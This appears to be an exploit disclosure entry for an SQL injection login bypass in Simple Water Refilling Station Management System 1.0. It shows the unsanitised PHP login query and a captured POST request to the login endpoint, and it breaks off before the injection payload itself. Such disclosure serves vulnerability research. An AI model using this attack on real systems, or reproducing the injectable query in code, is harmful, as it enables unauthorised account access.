# Exploit Title: Simple Water Refilling Station Management System 1.0 - Authentication Bypass  
# Exploit Author: Matt Sorrell  
# Date: 2021-08-14  
# Vendor Homepage:  
# Software Link:  
# Version: 1.0  
# Tested On: Windows Server 2019 and XAMPP 7.4.22  
# The Simple Water Refilling Station Management System   
# is vulnerable to a SQL Injection because it fails to sufficiently sanitize   
# user-supplied data before using it in a SQL query. Successful exploitation  
# of this issue could allow an attacker to bypass the application's  
# authentication controls and possibly access other sensitive data.  
# Vulnerable Code: Line 21 in water_refilling/classes/Login.php  
qry = $this->conn->query("SELECT * from users where username = '$username' and password = md5('$password') ");  
# Vulnerable Request  
POST /water_refilling/classes/Login.php?f=login HTTP/1.1  
Host: localhost  
Connection: keep-alive  
Content-Length: 35  
sec-ch-ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92"  
Accept: */*  
X-Requested-With: XMLHttpRequest  
sec-ch-ua-mobile: ?0  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
Origin: http://localhost  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Referer: http://localhost/water_refilling/admin/login.php  
Accept-Encoding: gzip, deflate, br  
Accept-Language: en-US,en;q=0.9  
Cookie: PHPSESSID=64v67e3dctju48lon9d8gepct7  
# Vulnerable Payload  
# Parameter: username (POST)